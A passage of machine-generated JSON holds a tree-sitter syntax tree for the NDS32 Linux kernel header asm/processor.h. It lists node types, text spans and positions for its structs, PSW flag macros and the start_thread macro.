PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1);\t\\\n\tregs->ipc = pc;\t\t\t\t\t\\\n\tregs->sp = stack;\t\t\t\t\\\n})\n\n/* Forward declaration, a strange C thing */\nstruct task_struct;\n\n/* Free all resources held by a thread. */\n#define release_thread(thread) do { } while(0)\n#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif\n\n/* Prepare to copy thread state - unlazy all lazy status */\n#define prepare_to_copy(tsk)\tdo { } while (0)\n\nunsigned long get_wchan(struct task_struct *p);\n\n#define cpu_relax()\t\t\tbarrier()\n\n#define task_pt_regs(task) \\\n\t((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\\n\t\t- 8) - 1)\n\n/*\n * Create a new kernel thread\n */\nextern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);\n\n#define KSTK_EIP(tsk)\tinstruction_pointer(task_pt_regs(tsk))\n#define KSTK_ESP(tsk)\tuser_stack_pointer(task_pt_regs(tsk))\n\n#endif\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 284], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 103, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 7}}, {"id": 2, "type": "identifier", "text": "__ASM_NDS32_PROCESSOR_H", "parent": 0, "children": [], "start_point": {"row": 3, "column": 8}, "end_point": {"row": 3, "column": 31}}, {"id": 3, "type": "preproc_def", "text": "#define __ASM_NDS32_PROCESSOR_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 5, "type": "identifier", "text": "__ASM_NDS32_PROCESSOR_H", "parent": 3, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 31}}, {"id": 6, "type": "preproc_ifdef", "text": "#ifdef __KERNEL__\n\n#include <asm/ptrace.h>\n#include <asm/types.h>\n#include <asm/sigcontext.h>\n\n#define KERNEL_STACK_SIZE\tPAGE_SIZE\n#define STACK_TOP\tTASK_SIZE\n#define STACK_TOP_MAX TASK_SIZE\n\nstruct cpu_context {\n\tunsigned long r6;\n\tunsigned long r7;\n\tunsigned long r8;\n\tunsigned long r9;\n\tunsigned long r10;\n\tunsigned long r11;\n\tunsigned long r12;\n\tunsigned long r13;\n\tunsigned long r14;\n\tunsigned long fp;\n\tunsigned long pc;\n\tunsigned long sp;\n};\n\nstruct thread_struct {\n\tstruct cpu_context cpu_context;\t/* cpu context */\n\t/* fault info */\n\tunsigned long address;\n\tunsigned long trap_no;\n\tunsigned long error_code;\n\n\tstruct fpu_struct fpu;\n};\n\n#define INIT_THREAD {\t}\n\n#ifdef __NDS32_EB__\n#define PSW_DE\tPSW_mskBE\n#else\n#define PSW_DE\t0x0\n#endif\n\n#ifdef CONFIG_WBNA\n#define PSW_valWBNA\tPSW_mskWBNA\n#else\n#define PSW_valWBNA\t0x0\n#endif\n\n#ifdef CONFIG_HWZOL\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif\n\n#define start_thread(regs,pc,stack)\t\t\t\\\n({\t\t\t\t\t\t\t\\\n\tmemzero(regs, sizeof(struct pt_regs));\t\t\\\n\tforget_syscall(regs);\t\t\t\t\\\n\tregs->ipsw = PSW_valINIT;\t\t\t\\\n\tregs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1);\t\\\n\tregs->ipc = pc;\t\t\t\t\t\\\n\tregs->sp = stack;\t\t\t\t\\\n})\n\n/* Forward declaration, a strange C thing */\nstruct task_struct;\n\n/* Free all resources held by a thread. */\n#define release_thread(thread) do { } while(0)\n#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif\n\n/* Prepare to copy thread state - unlazy all lazy status */\n#define prepare_to_copy(tsk)\tdo { } while (0)\n\nunsigned long get_wchan(struct task_struct *p);\n\n#define cpu_relax()\t\t\tbarrier()\n\n#define task_pt_regs(task) \\\n\t((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\\n\t\t- 8) - 1)\n\n/*\n * Create a new kernel thread\n */\nextern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);\n\n#define KSTK_EIP(tsk)\tinstruction_pointer(task_pt_regs(tsk))\n#define KSTK_ESP(tsk)\tuser_stack_pointer(task_pt_regs(tsk))\n\n#endif", "parent": 0, "children": [7, 8, 9, 12, 15, 18, 22, 26, 30, 93, 121, 125, 139, 153, 167, 175, 178, 184, 211, 217, 231, 236, 242, 271, 277, 283], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 101, "column": 6}}, {"id": 7, "type": "#ifdef", "text": "#ifdef", "parent": 6, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 6}}, {"id": 8, "type": "identifier", "text": "__KERNEL__", "parent": 6, "children": [], "start_point": {"row": 6, "column": 7}, "end_point": {"row": 6, "column": 17}}, {"id": 9, "type": "preproc_include", "text": "#include <asm/ptrace.h>\n", "parent": 6, "children": [10, 11], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<asm/ptrace.h>", "parent": 9, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 23}}, {"id": 12, "type": "preproc_include", "text": "#include <asm/types.h>\n", "parent": 6, "children": [13, 14], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<asm/types.h>", "parent": 12, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 22}}, {"id": 15, "type": "preproc_include", "text": "#include <asm/sigcontext.h>\n", "parent": 6, "children": [16, 17], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<asm/sigcontext.h>", "parent": 15, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 27}}, {"id": 18, "type": "preproc_def", "text": "#define KERNEL_STACK_SIZE\tPAGE_SIZE\n", "parent": 6, "children": [19, 20, 21], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 19, "type": "#define", "text": "#define", "parent": 18, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 20, "type": "identifier", "text": "KERNEL_STACK_SIZE", "parent": 18, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 25}}, {"id": 21, "type": "preproc_arg", "text": "PAGE_SIZE", "parent": 18, "children": [], "start_point": {"row": 12, "column": 26}, "end_point": {"row": 12, "column": 35}}, {"id": 22, "type": "preproc_def", "text": "#define STACK_TOP\tTASK_SIZE\n", "parent": 6, "children": [23, 24, 25], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 23, "type": "#define", "text": "#define", "parent": 22, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 7}}, {"id": 24, "type": "identifier", "text": "STACK_TOP", "parent": 22, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 17}}, {"id": 25, "type": "preproc_arg", "text": "TASK_SIZE", "parent": 22, "children": [], "start_point": {"row": 13, "column": 18}, "end_point": {"row": 13, "column": 27}}, {"id": 26, "type": "preproc_def", "text": "#define STACK_TOP_MAX TASK_SIZE\n", "parent": 6, "children": [27, 28, 29], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 27, "type": "#define", "text": "#define", "parent": 26, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 7}}, {"id": 28, "type": "identifier", "text": "STACK_TOP_MAX", "parent": 26, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 21}}, {"id": 29, "type": "preproc_arg", "text": "TASK_SIZE", "parent": 26, "children": [], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 33}}, {"id": 30, "type": "struct_specifier", "text": "struct cpu_context {\n\tunsigned long r6;\n\tunsigned long r7;\n\tunsigned long r8;\n\tunsigned long r9;\n\tunsigned long r10;\n\tunsigned long r11;\n\tunsigned long r12;\n\tunsigned long r13;\n\tunsigned long r14;\n\tunsigned long fp;\n\tunsigned long pc;\n\tunsigned long sp;\n}", "parent": 6, "children": [31, 32], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 29, "column": 1}}, {"id": 31, "type": "struct", "text": "struct", "parent": 30, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 6}}, {"id": 32, "type": "type_identifier", "text": "cpu_context", "parent": 30, "children": [], "start_point": {"row": 16, "column": 7}, "end_point": {"row": 16, "column": 18}}, {"id": 33, "type": "field_declaration", "text": "unsigned long r6;", "parent": 30, "children": [34, 37], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 18}}, {"id": 34, "type": "sized_type_specifier", "text": "unsigned long", "parent": 33, "children": [35, 36], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 14}}, {"id": 35, "type": "unsigned", "text": "unsigned", "parent": 34, "children": [], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 9}}, {"id": 36, "type": "long", "text": "long", "parent": 34, "children": [], "start_point": {"row": 17, "column": 10}, "end_point": {"row": 17, "column": 14}}, {"id": 37, "type": "field_identifier", "text": "r6", "parent": 33, "children": [], "start_point": {"row": 17, "column": 15}, "end_point": {"row": 17, "column": 17}}, {"id": 38, "type": "field_declaration", "text": "unsigned long r7;", "parent": 30, "children": [39, 42], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 18}}, {"id": 39, "type": "sized_type_specifier", "text": "unsigned long", "parent": 38, "children": [40, 41], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 14}}, {"id": 40, "type": "unsigned", "text": "unsigned", "parent": 39, "children": [], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 9}}, {"id": 41, "type": "long", "text": "long", "parent": 39, "children": [], "start_point": {"row": 18, "column": 10}, "end_point": {"row": 18, "column": 14}}, {"id": 42, "type": "field_identifier", "text": "r7", "parent": 38, "children": [], "start_point": {"row": 18, "column": 15}, "end_point": {"row": 18, "column": 17}}, {"id": 43, "type": "field_declaration", "text": "unsigned long r8;", "parent": 30, "children": [44, 47], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 19, "column": 18}}, {"id": 44, "type": "sized_type_specifier", "text": "unsigned long", "parent": 43, "children": [45, 46], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 19, "column": 14}}, {"id": 45, "type": "unsigned", "text": "unsigned", "parent": 44, "children": [], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 19, "column": 9}}, {"id": 46, "type": "long", "text": "long", "parent": 44, "children": [], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 14}}, {"id": 47, "type": "field_identifier", "text": "r8", "parent": 43, "children": [], "start_point": {"row": 19, "column": 15}, "end_point": {"row": 19, "column": 17}}, {"id": 48, "type": "field_declaration", "text": "unsigned long r9;", "parent": 30, "children": [49, 52], "start_point": {"row": 20, "column": 1}, "end_point": {"row": 20, "column": 18}}, {"id": 49, "type": "sized_type_specifier", "text": "unsigned long", "parent": 48, "children": [50, 51], "start_point": {"row": 20, "column": 1}, "end_point": {"row": 20, "column": 14}}, {"id": 50, "type": "unsigned", "text": "unsigned", "parent": 49, "children": [], "start_point": {"row": 20, "column": 1}, "end_point": {"row": 20, "column": 9}}, {"id": 51, "type": "long", "text": "long", "parent": 49, "children": [], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 14}}, {"id": 52, "type": "field_identifier", "text": "r9", "parent": 48, "children": [], "start_point": {"row": 20, "column": 15}, "end_point": {"row": 20, "column": 17}}, {"id": 53, "type": "field_declaration", "text": "unsigned long r10;", "parent": 30, "children": [54, 57], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 19}}, {"id": 54, "type": "sized_type_specifier", "text": "unsigned long", "parent": 53, "children": [55, 56], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 14}}, {"id": 55, "type": "unsigned", "text": "unsigned", "parent": 54, "children": [], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 9}}, {"id": 56, "type": "long", "text": "long", "parent": 54, "children": [], "start_point": {"row": 21, "column": 10}, "end_point": {"row": 21, "column": 14}}, {"id": 57, "type": "field_identifier", "text": "r10", "parent": 53, "children": [], "start_point": {"row": 21, "column": 15}, "end_point": {"row": 21, "column": 18}}, {"id": 58, "type": "field_declaration", "text": "unsigned long r11;", "parent": 30, "children": [59, 62], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 19}}, {"id": 59, "type": "sized_type_specifier", "text": "unsigned long", "parent": 58, "children": [60, 61], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 14}}, {"id": 60, "type": "unsigned", "text": "unsigned", "parent": 59, "children": [], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 9}}, {"id": 61, "type": "long", "text": "long", "parent": 59, "children": [], "start_point": {"row": 22, "column": 10}, "end_point": {"row": 22, "column": 14}}, {"id": 62, "type": "field_identifier", "text": "r11", "parent": 58, "children": [], "start_point": {"row": 22, "column": 15}, "end_point": {"row": 22, "column": 18}}, {"id": 63, "type": "field_declaration", "text": "unsigned long r12;", "parent": 30, "children": [64, 67], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 19}}, {"id": 64, "type": "sized_type_specifier", "text": "unsigned long", "parent": 63, "children": [65, 66], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 14}}, {"id": 65, "type": "unsigned", "text": "unsigned", "parent": 64, "children": [], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 9}}, {"id": 66, "type": "long", "text": "long", "parent": 64, "children": [], "start_point": {"row": 23, "column": 10}, "end_point": {"row": 23, "column": 14}}, {"id": 67, "type": "field_identifier", "text": "r12", "parent": 63, "children": [], "start_point": {"row": 23, "column": 15}, "end_point": {"row": 23, "column": 18}}, {"id": 68, "type": "field_declaration", "text": "unsigned long r13;", "parent": 30, "children": [69, 72], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 19}}, {"id": 69, "type": "sized_type_specifier", "text": "unsigned long", "parent": 68, "children": [70, 71], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 14}}, {"id": 70, "type": "unsigned", "text": "unsigned", "parent": 69, "children": [], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 9}}, {"id": 71, "type": "long", "text": "long", "parent": 69, "children": [], "start_point": {"row": 24, "column": 10}, "end_point": {"row": 24, "column": 14}}, {"id": 72, "type": "field_identifier", "text": "r13", "parent": 68, "children": [], "start_point": {"row": 24, "column": 15}, "end_point": {"row": 24, "column": 18}}, {"id": 73, "type": "field_declaration", "text": "unsigned long r14;", "parent": 30, "children": [74, 77], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 19}}, {"id": 74, "type": "sized_type_specifier", "text": "unsigned long", "parent": 73, "children": [75, 76], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 14}}, {"id": 75, "type": "unsigned", "text": "unsigned", "parent": 74, "children": [], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 9}}, {"id": 76, "type": "long", "text": "long", "parent": 74, "children": [], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 14}}, {"id": 77, "type": "field_identifier", "text": "r14", "parent": 73, "children": [], "start_point": {"row": 25, "column": 15}, "end_point": {"row": 25, "column": 18}}, {"id": 78, "type": "field_declaration", "text": "unsigned long fp;", "parent": 30, "children": [79, 82], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 18}}, {"id": 79, "type": "sized_type_specifier", "text": "unsigned long", "parent": 78, "children": [80, 81], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 14}}, {"id": 80, "type": "unsigned", "text": "unsigned", "parent": 79, "children": [], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 9}}, {"id": 81, "type": "long", "text": "long", "parent": 79, "children": [], "start_point": {"row": 26, "column": 10}, "end_point": {"row": 26, "column": 14}}, {"id": 82, "type": "field_identifier", "text": "fp", "parent": 78, "children": [], "start_point": {"row": 26, "column": 15}, "end_point": {"row": 26, "column": 17}}, {"id": 83, "type": "field_declaration", "text": "unsigned long pc;", "parent": 30, "children": [84, 87], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 18}}, {"id": 84, "type": "sized_type_specifier", "text": "unsigned long", "parent": 83, "children": [85, 86], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 14}}, {"id": 85, "type": "unsigned", "text": "unsigned", "parent": 84, "children": [], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 9}}, {"id": 86, "type": "long", "text": "long", "parent": 84, "children": [], "start_point": {"row": 27, "column": 10}, "end_point": {"row": 27, "column": 14}}, {"id": 87, "type": "field_identifier", "text": "pc", "parent": 83, "children": [], "start_point": {"row": 27, "column": 15}, "end_point": {"row": 27, "column": 17}}, {"id": 88, "type": "field_declaration", "text": "unsigned long sp;", "parent": 30, "children": [89, 92], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 18}}, {"id": 89, "type": "sized_type_specifier", "text": "unsigned long", "parent": 88, "children": [90, 91], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 14}}, {"id": 90, "type": "unsigned", "text": "unsigned", "parent": 89, "children": [], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 9}}, {"id": 91, "type": "long", "text": "long", "parent": 89, "children": [], "start_point": {"row": 28, "column": 10}, "end_point": {"row": 28, "column": 14}}, {"id": 92, "type": "field_identifier", "text": "sp", "parent": 88, "children": [], "start_point": {"row": 28, "column": 15}, "end_point": {"row": 28, "column": 17}}, {"id": 93, "type": "struct_specifier", "text": "struct thread_struct {\n\tstruct cpu_context cpu_context;\t/* cpu context */\n\t/* fault info */\n\tunsigned long address;\n\tunsigned long trap_no;\n\tunsigned long error_code;\n\n\tstruct fpu_struct fpu;\n}", "parent": 6, "children": [94, 95], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 39, "column": 1}}, {"id": 94, "type": "struct", "text": "struct", "parent": 93, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 6}}, {"id": 95, "type": "type_identifier", "text": "thread_struct", "parent": 93, "children": [], "start_point": {"row": 31, "column": 7}, "end_point": {"row": 31, "column": 20}}, {"id": 96, "type": "field_declaration", "text": "struct cpu_context cpu_context;", "parent": 93, "children": [97, 100], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 32}}, {"id": 97, "type": "struct_specifier", "text": "struct cpu_context", "parent": 96, "children": [98, 99], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 19}}, {"id": 98, "type": "struct", "text": "struct", "parent": 97, "children": [], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 7}}, {"id": 99, "type": "type_identifier", "text": "cpu_context", "parent": 97, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 19}}, {"id": 100, "type": "field_identifier", "text": "cpu_context", "parent": 96, "children": [], "start_point": {"row": 32, "column": 20}, "end_point": {"row": 32, "column": 31}}, {"id": 101, "type": "field_declaration", "text": "unsigned long address;", "parent": 93, "children": [102, 105], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 23}}, {"id": 102, "type": "sized_type_specifier", "text": "unsigned long", "parent": 101, "children": [103, 104], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 14}}, {"id": 103, "type": "unsigned", "text": "unsigned", "parent": 102, "children": [], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 9}}, {"id": 104, "type": "long", "text": "long", "parent": 102, "children": [], "start_point": {"row": 34, "column": 10}, "end_point": {"row": 34, "column": 14}}, {"id": 105, "type": "field_identifier", "text": "address", "parent": 101, "children": [], "start_point": {"row": 34, "column": 15}, "end_point": {"row": 34, "column": 22}}, {"id": 106, "type": "field_declaration", "text": "unsigned long trap_no;", "parent": 93, "children": [107, 110], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 23}}, {"id": 107, "type": "sized_type_specifier", "text": "unsigned long", "parent": 106, "children": [108, 109], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 14}}, {"id": 108, "type": "unsigned", "text": "unsigned", "parent": 107, "children": [], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 9}}, {"id": 109, "type": "long", "text": "long", "parent": 107, "children": [], "start_point": {"row": 35, "column": 10}, "end_point": {"row": 35, "column": 14}}, {"id": 110, "type": "field_identifier", "text": "trap_no", "parent": 106, "children": [], "start_point": {"row": 35, "column": 15}, "end_point": {"row": 35, "column": 22}}, {"id": 111, "type": "field_declaration", "text": "unsigned long error_code;", "parent": 93, "children": [112, 115], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 26}}, {"id": 112, "type": "sized_type_specifier", "text": "unsigned long", "parent": 111, "children": [113, 114], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 14}}, {"id": 113, "type": "unsigned", "text": "unsigned", "parent": 112, "children": [], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 9}}, {"id": 114, "type": "long", "text": "long", "parent": 112, "children": [], "start_point": {"row": 36, "column": 10}, "end_point": {"row": 36, "column": 14}}, {"id": 115, "type": "field_identifier", "text": "error_code", "parent": 111, "children": [], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 25}}, {"id": 116, "type": "field_declaration", "text": "struct fpu_struct fpu;", "parent": 93, "children": [117, 120], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 23}}, {"id": 117, "type": "struct_specifier", "text": "struct fpu_struct", "parent": 116, "children": [118, 119], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 18}}, {"id": 118, "type": "struct", "text": "struct", "parent": 117, "children": [], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 7}}, {"id": 119, "type": "type_identifier", "text": "fpu_struct", "parent": 117, "children": [], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 18}}, {"id": 120, "type": "field_identifier", "text": "fpu", "parent": 116, "children": [], "start_point": {"row": 38, "column": 19}, "end_point": {"row": 38, "column": 22}}, {"id": 121, "type": "preproc_def", "text": "#define INIT_THREAD {\t}\n", "parent": 6, "children": [122, 123, 124], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 42, "column": 0}}, {"id": 122, "type": "#define", "text": "#define", "parent": 121, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 7}}, {"id": 123, "type": "identifier", "text": "INIT_THREAD", "parent": 121, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 19}}, {"id": 124, "type": "preproc_arg", "text": "{\t}", "parent": 121, "children": [], "start_point": {"row": 41, "column": 21}, "end_point": {"row": 41, "column": 24}}, {"id": 125, "type": "preproc_ifdef", "text": "#ifdef __NDS32_EB__\n#define PSW_DE\tPSW_mskBE\n#else\n#define PSW_DE\t0x0\n#endif", "parent": 6, "children": [126, 127, 128, 132, 138], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 47, "column": 6}}, {"id": 126, "type": "#ifdef", "text": "#ifdef", "parent": 125, "children": [], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 43, "column": 6}}, {"id": 127, "type": "identifier", "text": "__NDS32_EB__", "parent": 125, "children": [], "start_point": {"row": 43, "column": 7}, "end_point": {"row": 43, "column": 19}}, {"id": 128, "type": "preproc_def", "text": "#define PSW_DE\tPSW_mskBE\n", "parent": 125, "children": [129, 130, 131], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 45, "column": 0}}, {"id": 129, "type": "#define", "text": "#define", "parent": 128, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 7}}, {"id": 130, "type": "identifier", "text": "PSW_DE", "parent": 128, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 14}}, {"id": 131, "type": "preproc_arg", "text": "PSW_mskBE", "parent": 128, "children": [], "start_point": {"row": 44, "column": 15}, "end_point": {"row": 44, "column": 24}}, {"id": 132, "type": "preproc_else", "text": "#else\n#define PSW_DE\t0x0\n", "parent": 125, "children": [133, 134], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 47, "column": 0}}, {"id": 133, "type": "#else", "text": "#else", "parent": 132, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 5}}, {"id": 134, "type": "preproc_def", "text": "#define PSW_DE\t0x0\n", "parent": 132, "children": [135, 136, 137], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 47, "column": 0}}, {"id": 135, "type": "#define", "text": "#define", "parent": 134, "children": [], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 46, "column": 7}}, {"id": 136, "type": "identifier", "text": "PSW_DE", "parent": 134, "children": [], "start_point": {"row": 46, "column": 8}, "end_point": {"row": 46, "column": 14}}, {"id": 137, "type": "preproc_arg", "text": "0x0", "parent": 134, "children": [], "start_point": {"row": 46, "column": 15}, "end_point": {"row": 46, "column": 18}}, {"id": 138, "type": "#endif", "text": "#endif", "parent": 125, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 6}}, {"id": 139, "type": "preproc_ifdef", "text": "#ifdef CONFIG_WBNA\n#define PSW_valWBNA\tPSW_mskWBNA\n#else\n#define PSW_valWBNA\t0x0\n#endif", "parent": 6, "children": [140, 141, 142, 146, 152], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 53, "column": 6}}, {"id": 140, "type": "#ifdef", "text": "#ifdef", "parent": 139, "children": [], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 6}}, {"id": 141, "type": "identifier", "text": "CONFIG_WBNA", "parent": 139, "children": [], "start_point": {"row": 49, "column": 7}, "end_point": {"row": 49, "column": 18}}, {"id": 142, "type": "preproc_def", "text": "#define PSW_valWBNA\tPSW_mskWBNA\n", "parent": 139, "children": [143, 144, 145], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 51, "column": 0}}, {"id": 143, "type": "#define", "text": "#define", "parent": 142, "children": [], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 7}}, {"id": 144, "type": "identifier", "text": "PSW_valWBNA", "parent": 142, "children": [], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 19}}, {"id": 145, "type": "preproc_arg", "text": "PSW_mskWBNA", "parent": 142, "children": [], "start_point": {"row": 50, "column": 20}, "end_point": {"row": 50, "column": 31}}, {"id": 146, "type": "preproc_else", "text": "#else\n#define PSW_valWBNA\t0x0\n", "parent": 139, "children": [147, 148], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 53, "column": 0}}, {"id": 147, "type": "#else", "text": "#else", "parent": 146, "children": [], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 5}}, {"id": 148, "type": "preproc_def", "text": "#define PSW_valWBNA\t0x0\n", "parent": 146, "children": [149, 150, 151], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 53, "column": 0}}, {"id": 149, "type": "#define", "text": "#define", "parent": 148, "children": [], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 52, "column": 7}}, {"id": 150, "type": "identifier", "text": "PSW_valWBNA", "parent": 148, "children": [], "start_point": {"row": 52, "column": 8}, "end_point": {"row": 52, "column": 19}}, {"id": 151, "type": "preproc_arg", "text": "0x0", "parent": 148, "children": [], "start_point": {"row": 52, "column": 20}, "end_point": {"row": 52, "column": 23}}, {"id": 152, "type": "#endif", "text": "#endif", "parent": 139, "children": [], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 6}}, {"id": 153, "type": "preproc_ifdef", "text": "#ifdef CONFIG_HWZOL\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif", "parent": 6, "children": [154, 155, 156, 160, 166], "start_point": {"row": 55, "column": 